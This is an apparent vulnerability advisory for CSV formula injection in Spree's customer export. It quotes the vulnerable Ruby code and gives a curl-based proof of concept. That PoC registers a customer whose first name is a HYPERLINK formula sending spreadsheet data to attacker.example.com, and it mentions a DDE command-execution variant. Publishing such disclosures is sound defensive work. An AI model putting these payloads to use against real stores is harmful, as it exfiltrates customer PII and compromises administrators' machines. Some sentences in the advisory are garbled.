Spree: CSV Formula Injection in Customer Export
Summary
CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted
Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the
context of the administrator's desktop, potentially exfiltrating data or executing OS commands
via DDE (Dynamic Data Exchange).
Details
Affected presenters and fields
| Presenter | Path | User-controlled fields |
|---|---|---|
| CustomerPresenter | spree/core/app/presenters/spree/csv/customer_presenter.rb:36 | first_name, last_name, address1, address2, city, phone |
Vulnerable code — customer_presenter.rb (representative example)
```ruby
# spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53
def call
csv = [
customer.first_name, # ← written verbatim; may contain =HYPERLINK(...)
customer.last_name, # ← user-controlled
customer.email,
customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),
customer.address&.company, # ← user-controlled
customer.address&.address1, # ← user-controlled
customer.address&.address2, # ← user-controlled
customer.address&.city, # ← user-controlled
customer.address&.state_text,
customer.address&.state_abbr,
customer.address&.country&.name,
customer.address&.country&.iso,
customer.address&.zipcode,
customer.phone, # ← user-controlled
customer.amount_spent_in(Spree::Store.current.default_currency),
customer.completed_orders.count,
]
csv += metafields_for_csv(customer)
csv
end
```
PoC
Precondition: A Spree store with public customer registration enabled (default
configuration). No special permissions required for the attacker.
Step 1 — Register as a customer with an injected first name
```bash
curl -X POST https://store.example.com/api/v3/store/customers \
-H "Content-Type: application/json" \
-H "X-Spree-Api-Key: pk_<publishable_api_key>" \
-d '{
"email": "[email protected]",
"password": "password123",
"password_confirmation": "password123",
"first_name": "=HYPERLINK(\"http://attacker.example.com/exfil?d=\"&B1,\"Click\")",
"last_name": "Smith"
}'
```
Step 2 — Admin triggers a customer export
```bash
curl -X POST https://store.example.com/api/v3/admin/exports \
-H "Authorization: Bearer <admin_jwt>" \
-H "Content-Type: application/json" \
-d '{"type": "Spree::Exports::Customers", "record_selection": "all"}'
```
Step 3 — Admin polls until ready, then downloads
```bash
# Poll for completion
curl https://store.example.com/api/v3/admin/exports/<export_id> \
-H "Authorization: Bearer <admin_jwt>"
# Download
curl https://store.example.com/api/v3/admin/exports/<export_id>/download \
-H "Authorization: Bearer <admin_jwt>" \
-o customers.csv
```
Step 4 — Verify injection in the raw CSV (without opening in Excel)
Open customers.csv in a text editor. The first data row will contain:
```
"=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","[email protected]",...
```
Step 5 — Admin opens customers.csv in Microsoft Excel (Windows)
- Excel warns about external data connections; if the administrator clicks Enable, the
HYPERLINK formula fires and sends a GET request to http://attacker.example.com/exfil?d=<B1_value>.
- Cell B1 in the customers export is the Last Name column. Adjacent columns contain
email, address, and order total data for all exported customers.
- With the DDE variant (
=CMD|...) on older or unpatched Excel versions, a subprocess
is launched on the administrator's machine.
Impact
Vulnerability class: CSV / Formula Injection (CWE-1236)
Who is impacted
- Administrators who download and open export files in spreadsheet software are the
direct victims. Administrative accounts have access to all store data, payment method
configurations, customer PII, and full order history.
Realistic attack chain
| Step | Actor | Action | Privilege required |
|---|---|---|---|
| 1 | Attacker | Registers as customer | Public registration |
| 2 | Attacker | Sets first_name to formula payload | None beyond registration |
| 3 | Admin | Runs a routine weekly/monthly export | Normal operational task |
| 4 | Admin | Opens CSV in Excel | None |
| 5 | Attacker | Receives exfiltrated spreadsheet data | Passive |
Data at risk
All data visible to the administrator in the spreadsheet at the time of opening, including:
- All exported customer emails, names, addresses, phone numbers
- Order totals and purchase history
- Any other columns in the same export file
